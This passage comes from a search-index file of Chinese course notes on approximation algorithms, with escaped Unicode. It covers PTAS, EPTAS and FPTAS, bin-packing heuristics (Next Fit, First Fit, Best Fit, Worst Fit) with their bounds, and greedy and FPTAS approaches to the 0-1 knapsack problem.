<p>\u5373\u8fd9\u4e2a\u6bd4\u503c\u5728\u591a\u5b9e\u4f8b\u4e2d\u7684\u6bd4\u503c\u662f\u6700\u7d27\u7684\u754c\u3002\u53cd\u4e4b\uff0c\u5982\u679c\u662f\u6700\u5927\u5316\u95ee\u9898\uff0c\u90a3\u4e48\u4e0a\u8ff0\u516c\u5f0f\u6539\u4e3a\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\frac{\\mathbf{OPT}(I)}{A(I)} \\] <p>\u5c06\u4e24\u8005\u5408\u5e76\u8d77\u6765\uff0c\u53ef\u4ee5\u7edf\u4e00\u5199\u4f5c\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\left\\{ \\frac{\\mathbf{OPT}(I)}{A(I)}, \\frac{A(I)}{\\mathbf{OPT}(I)} \\right\\}. \\] <p>\u7531\u4e8e\\(OPT\\)\u7b97\u6cd5\u4e00\u822c\u662f\u96be\u4ee5\u786e\u5b9a\u7684\uff0c\u6240\u4ee5\u786e\u5b9a\u8fd1\u4f3c\u6bd4\u4e00\u822c\u6709\u4ee5\u4e0b\u4e24\u4e2a\u6b65\u9aa4</p> <ol> <li> <p>\u9996\u5148\u5bfb\u627e\u5230\u4e00\u4e2a \\( r &gt; 1 \\)\uff0c\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u4f8b \\( I \\)\uff0c\u90fd\u6709 \\( A(I) \\leqslant r \\cdot \\text{OPT}(I) \\)\uff08\u53ef\u4ee5\u9996\u5148\u627e\u5230 \\( \\text{OPT}(I) \\) \u7684\u4e00\u4e2a\u4e0b\u754c \\( \\text{LB}(I) \\leqslant \\text{OPT}(I) \\)\uff0c\u7136\u540e\u8ba9 \\( A(I) \\leqslant r \\cdot \\text{LB}(I) \\) \u5373\u53ef\uff09\uff1b</p> </li> <li> <p>\u63a5\u4e0b\u6765\u8bc1\u660e \\( r \\) \u662f\u4e0d\u53ef\u6539\u8fdb\u7684\uff0c\u5373\u5bf9\u4e8e\u4efb\u610f\u7684 \\( \\epsilon &gt; 0 \\)\uff0c\u90fd\u5b58\u5728\u5728\u4e00\u4e2a\u5b9e\u4f8b \\( I_\\epsilon \\)\uff0c\u4f7f\u5f97 \\( A(I_\\epsilon) \\geqslant (r-\\epsilon) \\cdot \\text{OPT}(I_\\epsilon) \\)\u3002</p> </li> </ol>"},{"location":"NOTE/ADS/wk10/#ptas","title":"PTAS","text":"<p>PTAS\uff08\u591a\u9879\u5f0f\u65f6\u95f4\u8fd1\u4f3c\u65b9\u6848\uff0cPolynomial time approximation scheme\uff09\uff1a\u5b58\u5728\u7b97\u6cd5 A\uff0c\u4f7f\u5f97\u5bf9\u6bcf\u4e00\u4e2a\u56fa\u5b9a\u7684 \\(\\varepsilon &gt; 0\\)\uff0c\u5bf9\u4efb\u610f\u7684\u5b9e\u4f8b \\(I\\) \u90fd\u6709</p> \\[     A(I) \\leqslant (1+\\varepsilon) \\cdot \\text{OPT}(I) \\] <p>\u4e14\u7b97\u6cd5 \\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u53ef\u4ee5\u88ab\u95ee\u9898\u89c4\u6a21 \\( |I| \\) \u7684\u591a\u9879\u5f0f\u4e0a\u754c\u6240\u9650\u5236\u3002\u5219\u79f0 \\( A \\) \u662f\u8be5\u95ee\u9898\u7684\u4e00\u4e2a PTAS\u3002</p> <p>\u7406\u8bba\u4e0a\uff0c\u7b97\u6cd5 \\( A \\) \u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u53ef\u4ee5\u8fd1\u4f3c\uff1a\u4e0d\u8fc7\u4e0d\u540c\u7684 \\( \\varepsilon \\)\uff0c\\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u4e5f\u53ef\u80fd\u4e0d\u53ef\u80fd\u3002\u4f8b\u5982\uff0c\u5982\u679c\u7b97\u6cd5\u53ef\u4ee5\u7ed9\u51fa\u4e00\u4e2a\u590d\u6742\u5ea6\u4e3a \\( O(|I|^{1/\\epsilon}) \\) \u7684\u89e3\uff0c\u8fd9\u6837\u7b97\u6cd5\u7684\u8868\u73b0\u5c31\u4f1a\u5f88\u7cdf\u7cd5\uff0c\u56e0\u4e3a\u6307\u6570\u5f88\u5927\u3002\u4e00\u822c\u53ef\u4ee5\u5c06 PTAS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a \\( O(|I|^{(1/\\epsilon)}) \\)\u3002</p>"},{"location":"NOTE/ADS/wk10/#eptasfptas","title":"EPTAS\u548cFPTAS","text":"<p>EPTAS (Efficient PTAS): \u5728 PTAS \u7684\u57fa\u7840\u4e0a\uff0c\u8981\u6c42\u7b97\u6cd5 \\( A \\) \u7684\u590d\u6742\u5ea6\u662f \\( O(|I|^c) \\)\uff0c\u5176\u4e2d \\( c &gt; 0 \\) \u662f\u4e0e\\(\\varepsilon\\)\u65e0\u5173\u7684\u5e38\u6570\u3002\u53ef\u4ee5\u5c06 EPTS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a \\( |I^{O(1)}| f(1/\\varepsilon\uff09\\)\u3002</p> <p>FPTAS (Fully PTAS): \u5728 PTAS \u7684\u57fa\u7840\u4e0a\uff0c\u8981\u6c42\u7b97\u6cd5 \\( A \\) \u7684\u8fd0\u884c\u65f6\u95f4\u5173\u4e8e \\( |I| \\) \u548c \\(\\varepsilon\\) \u90fd\u662f\u591a\u9879\u5f0f\u9879\uff0c \u5373\u53ef\u4ee5\u5c06 FPTAS \u7684\u590d\u6742\u5ea6\u8bb0\u4e3a  \\(|I|^{O(1)} (1/\\varepsilon)^{O(1)}\\)</p>"},{"location":"NOTE/ADS/wk10/#_3","title":"\u88c5\u7bb1\u95ee\u9898(\u4e00\u7ef4)","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u6709 \\(n\\) \u4e2a\u7269\u54c1\uff0c\u6bcf\u4e2a\u7269\u54c1\u7684\u5927\u5c0f\u4e3a \\(s_i\\)\uff0c\u6709\u82e5\u5e72\u4e2a\u7bb1\u5b50\uff0c\u6bcf\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e3a \\(C\\)\uff0c\u8981\u6c42\u5c06\u6240\u6709\u7269\u54c1\u653e\u5165\u7bb1\u5b50\u4e2d\uff0c\u4f7f\u5f97\u6bcf\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e0d\u8d85\u8fc7 \\(C\\)\uff0c\u5e76\u4e14\u4f7f\u5f97\u6240\u9700\u7684\u7bb1\u5b50\u6570\u76ee\u5c3d\u53ef\u80fd\u5c11\u3002</p> <p>\u7ed9\u5b9a\u82e5\u5e72\u4e2a\u7269\u54c1\uff0c\u5224\u65ad\u5b83\u4eec\u662f\u5426\u53ef\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u662f NP \u5b8c\u5168\u7684</p> <p>\u63a5\u4e0b\u6765\u6211\u4eec\u9ed8\u8ba4\\(C=1\\)\uff0c\u5373\u7bb1\u5b50\u7684\u5927\u5c0f\u4e3a1\uff0c\u65b9\u4fbf\u8ba8\u8bba\u3002</p> <p>\u5173\u4e8e\u4e00\u7ef4\u88c5\u7bb1\u95ee\u9898\uff0c\u9664\u975e \\(P=NP\\)\uff0c\u5426\u5219\u4e0d\u5b58\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u7b97\u6cd5\u6ee1\u8db3</p> \\[     A(I) \\leqslant \\alpha \\cdot \\text{OPT}(I) \\] <p>\u5176\u4e2d \\(\\alpha &lt; \\frac{3}{2}\\)\u3002</p> <p>Proof</p> <p>\u4f7f\u7528\u53cd\u8bc1\u6cd5\uff0c\u5982\u679c\u5b58\u5728\u8fd1\u4f3c\u6bd4\u5c0f\u4e8e \\(\\frac{3}{2}\\) \u7684\u7b97\u6cd5\uff0c\u90a3\u4e48\u53ef\u4ee5\u7528\u8fd9\u4e2a\u7b97\u6cd5\\(A\\)\u6765\u89e3\u51b3NPC\u7684\u5224\u65ad\u7269\u54c1\u662f\u5426\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u7684\u95ee\u9898\u3002</p> <ul> <li> <p>\u5982\u679c\u7269\u54c1\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\uff0c\u90a3\u4e48\\(OPT=2\\)\uff0c\u5219\\(A(I) &lt; \\frac{3}{2} \\cdot 2 = 3\\)\uff0c\u5373\\(A(I) &lt; 3\\)\uff1b\u6b64\u65f6\\(A(I)=2\\)\uff0c\u90a3\u4e48\\(A\\)\u53ef\u4ee5\u5224\u65ad\uff1b</p> </li> <li> <p>\u5982\u679c\u7269\u54c1\u4e0d\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\uff0c\u90a3\u4e48\\(OPT \\geqslant 3\\)\uff0c\u5219\\(A(I)\\)\u81f3\u5c11\u4e3a\\(3\\)\uff0c\u5373\\(A(I) \\geqslant 3\\)\uff1b\u4f46\u662f\u7531\u4e8e\u8fd1\u4f3c\u6bd4\u5c0f\u4e8e\\(\\frac{3}{2}\\)\uff0c\u6240\u4ee5\u7531\\(A(I)\\)\u53ef\u4ee5\u5224\u65ad\u6b64\u65f6OPT\u4e0d\u53ef\u80fd\u662f\\(2\\)\u3002\u6b64\u65f6\u8fd9\u4e2a\u8fd1\u4f3c\u7b97\u6cd5\\(A\\)\u5c31\u53ef\u4ee5\u5224\u65ad\u7269\u54c1\u662f\u5426\u53ef\u4ee5\u7531\u4e24\u4e2a\u7bb1\u5b50\u88c5\u4e0b\u3002</p> </li> </ul> <p>\u7efc\u4e0a\uff0c\u6211\u4eec\u7528\u591a\u9879\u5f0f\u7b97\u6cd5\\(A\\)\u6765\u89e3\u51b3NPC\u95ee\u9898\uff0c\u6240\u4ee5\u53ea\u53ef\u80fd\u6709P=NP\u3002</p> <p>\u5728\u88c5\u7bb1\u95ee\u9898\u4e2d\uff0c\u6211\u4eec\u4e00\u822c\u4e0d\u5173\u5fc3\u5168\u90e8\u7684\u5b9e\u4f8b\uff0c\u800c\u5173\u5fc3 \\(OPT(I)\\) \u8f83\u5927\u7684\u90a3\u4e9b\u5b9e\u4f8b\u3002\u56e0\u6b64\u5b9a\u4e49 \u201c\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\uff08asymptotic approximation ratio\uff09\u201d \u5982\u4e0b\uff1a</p> <p>Definition</p> <p>\u5bf9\u4e8e\u4e00\u7ef4\u88c5\u7bb1\u95ee\u9898\uff0c\u5b9a\u4e49\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\u4e3a,\u5bf9\u4e8e\u4efb\u610f\u5e38\u6570 \\(\\alpha \\geqslant 1\\),\u5bf9\u4e8e\u4efb\u610f\u5b9e\u4f8b \\(I\\)\uff0c\u5b58\u5728\u5e38\u6570 \\(k\\)\uff0c\u4f7f\u5f97</p> \\[     A(I) \\leqslant \\alpha \\cdot OPT(I) + k \\] <p>\u5219\u79f0\u6240\u6709\u6ee1\u8db3\u4e0a\u5f0f\u7684 \\(\\alpha\\) \u7684\u4e0b\u786e\u754c\u4e3a\\(A\\)\u6e10\u8fd1\u8fd1\u4f3c\u6bd4\u3002</p> <p>\\(k\\)\u53ef\u4ee5\u662f\u4e00\u4e2a\u5e38\u6570\uff0c\u4e5f\u53ef\u4ee5\u662f\\(OPT(I)\\)\u7684\u4e00\u4e2a\u9ad8\u9636\u65e0\u7a77\u5c0f\u3002</p> <p>Quote</p> <p>\u88c5\u7bb1\u95ee\u9898\u4e2d\uff0c\u82e5\u6240\u6709\u7684\u7269\u54c1\u4fe1\u606f\u5728\u5f00\u59cb\u88c5\u7bb1\u524d\u5df2\u77e5\uff0c\u5219\u5b83\u662f\u79bb\u7ebf\uff08offline\uff09\u95ee    \u9898\uff1b\u82e5\u521d\u59cb\u65f6\u7269\u54c1\u4fe1\u606f\u5e76\u4e0d\u5168\u90e8\u7ed9\u51fa\uff0c\u4f8b\u5982\u7269\u54c1\u5728\u4f20\u9001\u5e26\u4e0a\u9010\u4e2a\u5230\u8fbe\uff0c\u9700\u8981\u6211\u4eec\u5373\u65f6\u5b89\u6392\uff0c\u800c\u6211\u4eec\u5bf9\u672a\u5230\u8fbe\u7269\u54c1\u4fe1\u606f\u4e00\u65e0\u6240\u77e5\uff0c\u540c\u65f6\u505a\u51fa\u7684\u51b3\u5b9a\u65e0\u6cd5\u66f4\u6539\uff0c\u6b64\u65f6\u79f0\u4e3a\u5728\u7ebf\uff08online\uff09\u95ee\u9898\u3002\u201c\u8fd1\u4f3c\u6bd4\u201d \u901a\u5e38\u7528\u6765\u63cf\u8ff0\u79bb\u7ebf\u95ee\u9898\u8fd1\u4f3c\u7b97\u6cd5\u7684\u6027\u80fd\u3002\u800c\u5bf9\u4e8e\u5728\u7ebf\u95ee\u9898\uff0c\u4e00\u822c\u7528 \u201c\u7ade\u4e89\u6bd4\uff08competitive ratio\uff09\u201d \u7684\u6982\u5ff5\u3002</p>"},{"location":"NOTE/ADS/wk10/#next-fit","title":"Next Fit","text":"<p>Next Fit \u7b97\u6cd5\u662f\u4e00\u79cd\u7b80\u5355\u7684\u88c5\u7bb1\u7b97\u6cd5\uff0c\u5176\u601d\u60f3\u662f\uff1a\u5bf9\u4e8e\u6bcf\u4e2a\u7269\u54c1\uff0c\u5c1d\u8bd5\u5c06\u5176\u653e\u5165\u5f53\u524d\u7bb1\u5b50\uff0c\u5982\u679c\u653e\u4e0d\u4e0b\uff0c\u5219\u5173\u95ed\u5f53\u524d\u7bb1\u5b50\uff0c\u5e76\u5f00\u51fa\u4e00\u4e2a\u65b0\u7bb1\u5b50\uff0c\u5c06\u5176\u653e\u5165\uff1b</p> <p>Next Fit \u7b97\u6cd5\u6709\u4e00\u4e2a\u6027\u8d28\uff1a\u76f8\u90bb\u4e24\u4e2a\u7bb1\u5b50\u7684\u5927\u5c0f\u4e4b\u548c\u80af\u5b9a\u5927\u4e8e1\uff0c\u5426\u5219\u5c31\u4e0d\u9700\u8981\u5f00\u65b0\u7bb1\u5b50\uff1b</p> <p>\u6839\u636e\u8fd9\u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\uff1a</p> \\[     NF(I) \\leqslant 2 \\cdot OPT(I) - 1 \\] <p>\u5373</p> \\[     OPT(I) \\geqslant \\frac{NF(I) + 1}{2} \\] <p>\u6362\u53e5\u8bdd\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u7684\u7b97\u6cd5\u7684\u7bb1\u5b50\u6570\u76ee\u7528\u4e86\\(2M\\)\u4e2a\uff0c\u90a3\u4e48\u6700\u4f18\u89e3\u81f3\u5c11\u8981\u7528\\(M+1\\)\u4e2a\u7bb1\u5b50\u3002</p> <p>Proof</p> <p>\u4ee4 \\( S(B_i) \\) \u4e3a\u7bb1\u5b50 \\( B_i \\) \u4e2d\u7269\u54c1\u7684\u5927\u5c0f\u4e4b\u548c\uff0c\u90a3\u4e48\u6709\uff1a</p> \\[\\begin{cases}     S(B_1) + S(B_2) &gt; 1 \\\\     S(B_3) + S(B_4) &gt; 1 \\\\     \\ldots \\\\     S(B_{2M-1}) + S(B_{2M}) &gt; 1 \\end{cases}\\] <p>\u5c06\u6240\u6709\u4e0d\u7b49\u5f0f\u76f8\u52a0\uff0c\u5f97\u5230\uff1a</p> \\[ \\sum_{i=1}^{2M} S(B_i) &gt; M \\] <p>\u6240\u4ee5\u603b\u7684\u5927\u5c0f\u4e25\u683c\u5927\u4e8e \\(M\\)\uff0c\u5373\u6700\u4f18\u89e3\u7bb1\u5b50\u6570\u76ee\u81f3\u5c11\u4e3a \\(M+1\\)\u3002</p> <p>\u4e8b\u5b9e\u4e0a\\(NF\\)\u88c5\u7bb1\u7684\u8fd1\u4f3c\u6bd4\u5c31\u662f\\(2\\),\u4e0d\u4f1a\u518d\u6709\u6bd4\u8fd9\u4e2a\u5c0f\u7684\u4e86\uff1b</p> <p>\u4e0b\u786e\u754c\u7684\u4f8b\u5b50</p> <p>\u8003\u8651\\(M\\)\u7ec4\u7269\u54c1\uff0c\u6bcf\u7ec4\u7269\u54c1\u7684\u5927\u5c0f\u4e3a\\(\\dfrac{1}{2},\\varepsilon\\),\u6700\u540e\u518d\u52a0\u4e00\u4e2a\\(\\dfrac{1}{2}\\),\u4e14\u6ee1\u8db3\\(M\\varepsilon &lt; 1\\),\u6b64\u65f6\\(NF\\)\u7b97\u6cd5\u9700\u8981\\(M+1\\)\u4e2a\u7bb1\u5b50\uff0c\u800c\u6700\u4f18\u89e3\u9700\u8981\\(M/2+1\\)\u4e2a\u7bb1\u5b50\uff0c\u6240\u4ee5\\(NF\\)\u7b97\u6cd5\u7684\u4e0b\u786e\u754c\u4e3a\\(2\\)\u3002</p>"},{"location":"NOTE/ADS/wk10/#any-fit","title":"Any Fit","text":"<p>\u8fd9\u662f\u4e00\u7c7b\u7684Fit\u65b9\u6848\uff0c\u6ee1\u8db3: \u5f53\u7269\u54c1\u5230\u8fbe\u65f6\uff0c\u9664\u975e\u6240\u6709\u76ee\u524d\u6253\u5f00\u7684\u7bb1\u5b50\u90fd\u65e0\u6cd5\u88c5\u4e0b\u8be5\u7269\u54c1\uff0c\u624d\u5141\u8bb8\u6253\u5f00\u4e00\u4e2a\u65b0\u7bb1\u5b50</p> <p>\u4e3b\u8981\u5305\u62ec\uff1a</p> <ul> <li>(FF)First Fit: \u6309\u7bb1\u5b50\u6253\u5f00\u7684\u987a\u5e8f\u4ece\u65e9\u5230\u665a\u68c0\u67e5,\u5c06\u7269\u54c1\u653e\u5165\u7b2c\u4e00\u4e2a\u80fd\u653e\u4e0b\u7684\u7bb1\u5b50\u4e2d\uff1b</li> <li>(BF)Best Fit: \u5c06\u7269\u54c1\u653e\u5165\u5269\u4f59\u7a7a\u95f4\u6700\u5c0f\u7684\u7bb1\u5b50\u4e2d,\u6700\u5927\u5316\u5229\u7528\u7bb1\u5b50\u7a7a\u95f4\uff1b</li> <li>(WF)Worst Fit: \u5c06\u7269\u54c1\u653e\u5165\u5269\u4f59\u7a7a\u95f4\u6700\u5927\u7684\u7bb1\u5b50\u4e2d;</li> </ul> <p>\u524d\u9762\u7684\u6240\u6709 Fit \u7b97\u6cd5\u90fd\u662f\u5728\u7ebf\u7b97\u6cd5\u3002\u6b64\u5916\uff0cAny Fit \u7684\u4e09\u79cd\u7b97\u6cd5\u90fd\u6ee1\u8db3\u76f8\u90bb\u4e24\u4e2a\u7bb1\u5b50\u7269\u54c1\u5c3a\u5bf8\u4e4b\u548c\u5927\u4e8e1\uff0c\u56e0\u6b64\u5b83\u4eec\u90fd\u4e0d\u4f1a\u6bd4 NF \u5dee\u3002\u800c\u524d\u9762 NF \u7684\u4e0b\u754c\u5b9e\u4f8b\u4e5f\u9002\u7528\u4e8e WF\uff0c\u56e0\u6b64 WF \u548c NF \u4e00\u6837\u5dee\u3002</p> <p>FF VS BF</p> <p>\u4ece\u5b9a\u4e49\u4e0a\u6765\u770b\uff0cBF\u6700\u5927\u5316\u5229\u7528\u4e86\u7a7a\u95f4\uff0c\u4f3c\u4e4e\u8868\u73b0\u4f1a\u6bd4FF\u597d\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u5e76\u4e0d\u80fd\u5f88\u597d\u5224\u65ad\u4e24\u8005\u7684\u4f18\u52a3\uff1a</p> <ul> <li>0.5\u30010.7\u30010.1\u30010.4\u30010.3\uff0cFF=2\uff1bBF=3\uff1b</li> <li>0.5\u30010.7\u30010.3\u30010.5\uff0cFF=3\uff1bBF=2\uff1b</li> </ul> <p>\u4ece\u4e0a\u9762\u7684\u4f8b\u5b50\u53ef\u4ee5\u770b\u51fa\uff0cBF\u5e76\u4e0d\u4e00\u5b9a\u6bd4FF\u597d\uff0cFF\u4e5f\u4e0d\u4e00\u5b9a\u6bd4BF\u597d\uff1b</p> <p>FF\u548cBF\u7684\u8fd1\u4f3c\u6bd4\u90fd\u662f1.7\uff1b</p>"},{"location":"NOTE/ADS/wk10/#0-1","title":"0-1\u80cc\u5305\u95ee\u9898","text":""},{"location":"NOTE/ADS/wk10/#2-","title":"\u57fa\u7840\u76842-\u8fd1\u4f3c\u7b97\u6cd5","text":"<p>\u5728\u8d2a\u5fc3\u7b97\u6cd5\u4e2d\uff0c\u5982\u679c\u662f\u89e3\u51b3\u5206\u6570\u80cc\u5305\u95ee\u9898\uff0c\u90a3\u4e48\u53ef\u4ee5\u4f7f\u7528\u8d2a\u5fc3\u7b97\u6cd5\uff0c\u662f\u8ba9\u80cc\u5305\u7684\u6bcf\u4e00\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\u6700\u5927\u5316\uff1b\u4f46\u662f\u5982\u679c\u662f\u6574\u6570\u76840-1\u80cc\u5305\u95ee\u9898\uff0c\u90a3\u4e48\u6709\u4ee5\u4e0b\u53cd\u4f8b\uff1a</p> <p>\u6709\u4e24\u4e2a\u7269\u54c1\uff0c\u7b2c\u4e00\u4e2a\u7269\u54c1\u7684\u4ef7\u503c\u4e3a 1\uff0c\u91cd\u91cf\u4e3a 1\uff0c\u7b2c\u4e8c\u4e2a\u7269\u54c1\u7684\u4ef7\u503c\u4e3a 2\uff0c\u91cd\u91cf\u4e3a 3\uff0c\u80cc\u5305\u7684\u5bb9\u91cf\u4e3a 3\u3002\u6211\u4eec\u7684\u8d2a\u5fc3\u7b56\u7565\u662f\u8ba9\u6bcf\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\u6700\u5927\u5316\uff0c\u56e0\u6b64\u8d2a\u5fc3\u7b97\u6cd5\u7684\u9009\u62e9\u7ed3\u679c\u662f\u9009\u62e9\u7b2c\u4e00\u4e2a\u7269\u54c1\uff0c\u4f46\u5b9e\u9645\u4e0a\u6700\u4f18\u89e3\u663e\u7136\u662f\u9009\u62e9\u7b2c\u4e8c\u4e2a\u7269\u54c1\uff0c\u8fd9\u6837\u80cc\u5305\u7684\u4ef7\u503c\u4e3a 2\uff0c\u800c\u8d2a\u5fc3\u7b97\u6cd5\u7684\u89e3\u4e3a 1\u3002\u56e0\u6b64\u8d2a\u5fc3\u7b97\u6cd5\u5e76\u4e0d\u662f\u6700\u4f18\u7684\u3002</p> <p>\u4e3a\u4e86\u5f97\u5230\u8fd1\u4f3c\u6bd4\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u4e00\u6b65\u6539\u8fdb\u6211\u4eec\u7684\u8d2a\u5fc3\u7b97\u6cd5\uff1a\u6211\u4eec\u6709\u4e24\u4e2a\u8d2a\u5fc3\u7b56\u7565\uff0c\u5176\u4e00\u662f\u6839\u636e\u8fd9\u91cc\u7684\u5355\u4f4d\u91cd\u91cf\u7684\u4ef7\u503c\uff08profit density\uff09\uff0c\u5176\u4e8c\u662f\u76f4\u63a5\u8d2a\u5fc3\u9009\u62e9\u6700\u5927\u4ef7\u503c\u7684\u7269\u54c1\uff0c\u6211\u4eec\u8fd0\u884c\u4e24\u4e2a\u7b97\u6cd5\u9009\u62e9\u6700\u4f18\u89e3\uff0c\u6211\u4eec\u53ef\u4ee5\u8bc1\u660e\uff0c\u8fd9\u6837\u7ed3\u5408\u540e\u7684\u8fd1\u4f3c\u6bd4\u4e3a 2</p> <p>\u8bbe</p> <ul> <li>\\(P_{frac}\\) \u4e3a\u5206\u6570\u80cc\u5305\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff1b</li> <li>\\(P_{OPT}\\) \u4e3a0-1\u80cc\u5305\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff1b</li> <li>\\(P_{greedy}\\) \u4e3a\u8d2a\u5fc3\u7b97\u6cd5\u7684\u89e3\uff1b</li> <li>\\(p_{max}\\) \u4e3a\u88c5\u5f97\u4e0b\u7684\u7269\u54c1\u4e2d\u4ef7\u503c\u6700\u5927\u7684\u7269\u54c1\u7684\u4ef7\u503c\uff1b</li> </ul> <p>\u90a3\u4e48\u6709</p> \\[     P_{frac} \\geqslant P_{OPT} \\geqslant P_{greedy} \\geqslant p_{max} \\] <p>\u6240\u4ee5</p> \\[     \\dfrac{P_{OPT}}{P_{greedy}} \\leqslant \\dfrac{P_{frac}}{P_{greedy}} \\leqslant \\dfrac{P_{greedy}+p_{max}}{P_{greedy}} \\leqslant 2 \\] <p>\u5176\u4e2d\u7684\\(P_{frac} \\leqslant P_{greedy}+p_{max}\\)\u662f\u56e0\u4e3a\u6309\u7167\u8d2a\u5fc3\u7b56\u7565\uff0c\u6211\u4eec\u9009\u62e9\u4e86\u6700\u5927\u7684\u7269\u54c1\uff0c\u5728\u5373\u5c06\u6ee1\u7684\u65f6\u5019\uff0c\\(P_{frac}\\)\u5728\\(P_{greedy}\\)\u7684\u57fa\u7840\u4e0a\u5c06\\(p_{max}\\)\u7684\u622a\u53d6\u4e86\u4e00\u90e8\u5206\u88c5\u8fdb\u53bb\u4e86\uff1b</p> <p>Summary</p> <p>\u5982\u679c\u5df2\u77e5\u6700\u4f18\u89e3\u4e2d\u4ef7\u503c\u6700\u5927\u7684\u524dk\u4e2a\uff0c\u90a3\u4e48\u53ef\u4ee5\u8bbe\u8ba1\u51fa\u8fd1\u4f3c\u6bd4\u4e3a\\(\\dfrac{k+1}{k}\\)\u7684\u7b97\u6cd5</p>"},{"location":"NOTE/ADS/wk10/#0-1fptas","title":"0-1\u80cc\u5305\u7684FPTAS\u7b97\u6cd5","text":"<p>\u73b0\u5728\u6211\u4eec\u8ba8\u8bba\u4e00\u4e2a\u66f4\u7f8e\u597d\u7684\u7b97\u6cd5\uff0c\u5373\u4e00\u4e2a\u53ef\u4ee5\u65e0\u9650\u8fd1\u4f3c\u7684\u7b97\u6cd5\u3002\u5229\u7528\u52a8\u6001\u89c4\u5212\u4e00\u8bb2\u7684\u7b97\u6cd5\u6211\u4eec\u77e5\u9053 0-1\u80cc\u5305\u95ee\u9898\u662f\u6709\u4f2a\u591a\u9879\u5f0f\u7b97\u6cd5\u7684\uff0c\u5373\u5176\u590d\u6742\u5ea6\u662f \\(O(nC)\\) \u7684\uff0c\u5176\u4e2d \\(n\\) \u662f\u7269\u54c1\u7684\u6570\u91cf\uff0c\\(C\\) \u662f\u80cc\u5305\u7684\u5bb9\u91cf\u3002\u4f46\u6211\u4eec\u53ef\u4ee5\u6362\u4e2a\u89d2\u5ea6\u8fdb\u884c\u52a8\u6001\u89c4\u5212\uff0c\u6211\u4eec\u7684\u6570\u7ec4\u7b2c\u4e8c\u4e2a\u7ef4\u5ea6\u4e0d\u518d\u662f\u80cc\u5305\u7684\u5bb9\u91cf\uff0c\u800c\u662f\u4ef7\u503c\uff0c\u5373\u6211\u4eec\u539f\u5148\u7684\u6570\u7ec4\u662f <code>A[i][c]</code>\u8868\u8fbe\u7684\u662f\u524d <code>i</code> \u4e2a\u7269\u54c1\u653e\u5165\u5bb9\u91cf\u4e3a <code>c</code> \u7684\u80cc\u5305\u7684\u6700\u5927\u4ef7\u503c\uff0c\u73b0\u5728\u6211\u4eec\u7684\u6570\u7ec4\u662f <code>A[i][v]</code> \u8868\u8fbe\u7684\u662f\u524d <code>i</code> \u4e2a\u7269\u54c1\u653e\u5165\u4ef7\u503c\u4e3a <code>v</code> \u7684\u80cc\u5305\u7684\u6700\u5c0f\u91cd\u91cf\u3002\u8f6c\u79fb\u65b9\u7a0b\u4e3a\uff1a</p> <p>Note</p> <p>Let \\( W_{i,p} \\) be the minimum weight of a collection from \\(\\{1, \\ldots, i\\}\\) with total profit being exactly \\( p \\).</p> <ol> <li>Take \\( i \\): </li> </ol> \\[    W_{i,p} = w_i + W_{i-1,p - p_i} \\] <ol> <li>Skip \\( i \\): </li> </ol> \\[    W_{i,p} = W_{i-1,p} \\] \\[ W_{i,p} =  \\begin{cases}  \\infty &amp; \\text{if } i = 0 \\\\  W_{i-1,p} &amp; \\text{if } p_i &gt; p \\\\  \\min \\{ W_{i-1,p}, w_i + W_{i-1,p - p_i} \\} &amp; \\text{otherwise}  \\end{cases} \\] <p>\u663e\u7136\uff0c\u8fd9\u4e00\u52a8\u6001\u89c4\u5212\u7684\u590d\u6742\u5ea6\u662f \\(O(nV)\\) \u7684\uff0c\u5176\u4e2d \\(V\\) \u662f\u6240\u6709\u7269\u54c1\u7684\u4ef7\u503c\u4e4b\u548c\u3002\u6211\u4eec\u505a\u4e2a\u7b80\u5355\u7684\u53d8\u6362\uff0c\u8bbe \\(vmax\\) \u662f\u6240\u6709\u7269\u54c1\u7684\u4ef7\u503c\u7684\u6700\u5927\u503c\uff0c\u90a3\u4e48\u663e\u7136\u6709 \\(V \\leqslant nvmax\\)\u56e0\u6b64\u6211\u4eec\u7684\u590d\u6742\u5ea6\u662f \\(O(n^2 vmax)\\) \u7684\u3002</p> <p>\u5982\u679c\u53d1\u73b0 \\(vmax\\) \u7684\u5927\u5c0f\u662f \\(n\\) \u7684\u591a\u9879\u5f0f\u7ea7\u522b\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u5c06\u5f97\u5230\u4e00\u4e2a\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u7b97\u6cd5\u3002\u7136\u800c\u5e76\u975e\u6240\u6709\u5b9e\u4f8b\u90fd\u80fd\u6ee1\u8db3\u8fd9\u4e00\u6761\u4ef6\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u8f93\u5165\u7684\u4ef7\u503c\u505a\u4e00\u4e9b\u6280\u672f\u6027\u7684\u5904\u7406\uff0c\u5373\u5bf9\u8f93\u5165\u7684\u6240\u6709\u4ef7\u503c\u505a\u540c\u6bd4\u4f8b\u7684\u7f29\u5c0f\uff0c\u4f7f\u5f97 \\(vmax\\) \u80fd\u7f29\u5c0f\u5230 \\(n\\) \u7684\u591a\u9879\u5f0f 